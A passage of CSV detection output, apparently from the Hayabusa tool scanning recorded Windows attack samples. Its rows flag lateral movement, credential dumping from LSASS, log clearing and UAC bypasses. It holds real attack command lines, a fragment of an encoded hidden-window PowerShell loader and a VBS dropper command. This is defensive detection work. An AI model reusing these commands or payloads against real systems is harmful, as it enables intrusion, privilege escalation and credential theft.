g7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,Suspicious PowerShell Command Line,,rules/sigma/process_creation/win_powershell_cmdline_special_characters.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.371 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:54.152 +09:00,IEWIN7,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:32:51.168 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.168 +09:00,IEWIN7,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.246 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.246 +09:00,IEWIN7,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.324 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.324 +09:00,IEWIN7,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.324 +09:00,IEWIN7,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.371 +09:00,IEWIN7,1,informational,Process Creation,Command: whoami /all : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.371 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.371 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:35:11.856 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\mmc.exe -Embedding : Path: C:\Windows\System32\mmc.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:11.856 +09:00,IEWIN7,1,high,MMC20 Lateral Movement,,rules/sigma/process_creation/win_mmc20_lateral_movement.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:12.449 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\mmc.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:12.449 +09:00,IEWIN7,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.449 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /Q /c cd 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\mmc.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.449 +09:00,IEWIN7,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.512 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\mmc.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.512 +09:00,IEWIN7,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.512 +09:00,IEWIN7,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.543 +09:00,IEWIN7,1,informational,Process Creation,"Command: whoami /all : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.543 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.543 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 07:48:59.260 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\vssvc.exe : Path: C:\Windows\System32\VSSVC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:09.760 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\Installer\MSI4FFD.tmp"" : Path: C:\Windows\Installer\MSI4FFD.tmp : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\msiexec.exe /V",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:09.760 +09:00,IEWIN7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:10.198 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\Installer\MSI4FFD.tmp""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:10.198 +09:00,IEWIN7,1,medium,Always Install Elevated MSI Spawned Cmd And Powershell,,rules/sigma/process_creation/sysmon_always_install_elevated_msi_spawned_cmd_and_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:52:27.588 +09:00,IEWIN7,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: cmd,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:52:27.588 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:52:27.588 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-02 23:48:53.950 +09:00,IEWIN7,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-02 23:50:17.955 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-02 23:50:17.955 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-02 23:50:17.955 +09:00,IEWIN7,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-03 02:21:42.678 +09:00,SANS-TBT570,1102,high,Security log was cleared,User: student,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privilegedebug-tokenelevate-hashdump.evtx +2019-05-04 00:20:20.711 +09:00,SANS-TBT570,1102,high,Security log was cleared,User: student,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-pwshpayload.evtx +2019-05-04 00:20:27.359 +09:00,SANS-TBT570,4672,informational,Admin Logon,User: tbt570 : LogonID: 0x1861f7,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-pwshpayload.evtx +2019-05-04 00:20:28.308 +09:00,SANS-TBT570,4634,informational,Logoff,User: tbt570 : LogonID: 0x1861f7,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-pwshpayload.evtx +2019-05-08 12:00:11.778 +09:00,DC1.insecurebank.local,1102,high,Security log was cleared,User: administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_security_dcshadow_4742.evtx +2019-05-09 10:59:28.684 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:28.950 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:29.090 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\eventvwr.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:29.090 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:29.090 +09:00,IEWIN7,1,critical,UAC Bypass via Event Viewer,,rules/sigma/process_creation/process_creation_sysmon_uac_bypass_eventvwr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 11:00:01.794 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\wsqmcons.exe : Path: C:\Windows\System32\wsqmcons.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 11:07:51.131 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" /kickoffelev : Path: C:\Windows\System32\sdclt.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UACBypass_SDCLTBypass.evtx +2019-05-09 11:08:00.446 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UACBypass_SDCLTBypass.evtx +2019-05-09 11:08:00.446 +09:00,IEWIN7,1,medium,Sdclt Child Processes,,rules/sigma/process_creation/sysmon_sdclt_child_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UACBypass_SDCLTBypass.evtx +2019-05-09 11:52:18.844 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" C:\Users\IEUser\AppData\Local\Temp\wscript.exe.manifest C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:18.922 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:18.953 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:18.969 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:19.250 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.250 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" C:\Windows\System32\wscript.exe C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.265 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.281 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.297 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.594 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:23.500 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /C ""echo Dim objShell:Dim oFso:Set oFso = CreateObject(""Scripting.FileSystemObject""):Set objShell = WScript.CreateObject(""WScript.Shell""):command = ""powershell.exe"":objShell.Run command, 0:command = ""C:\Windows\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del C:\Windows\wscript.exe&&del C:\Windows\wscript.exe.manifest"""""""""":objShell.Run command, 0:Set objShell = Nothing > ""C:\Users\IEUser\AppData:tghjx5xz2ky.vbs"""" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:23.531 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /C ""C:\Windows\wscript.exe ""C:\Users\IEUser\AppData:tghjx5xz2ky.vbs"""" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 12:25:24.896 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" : Path: C:\Windows\System32\sdclt.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_UACBypass_AppPath_Control.evtx +2019-05-09 12:25:25.067 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /name Microsoft.BackupAndRestoreCenter : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\sdclt.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_UACBypass_AppPath_Control.evtx +2019-05-09 12:25:25.067 +09:00,IEWIN7,1,medium,Sdclt Child Processes,,rules/sigma/process_creation/sysmon_sdclt_child_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_UACBypass_AppPath_Control.evtx +2019-05-10 21:21:57.077 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 7 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege 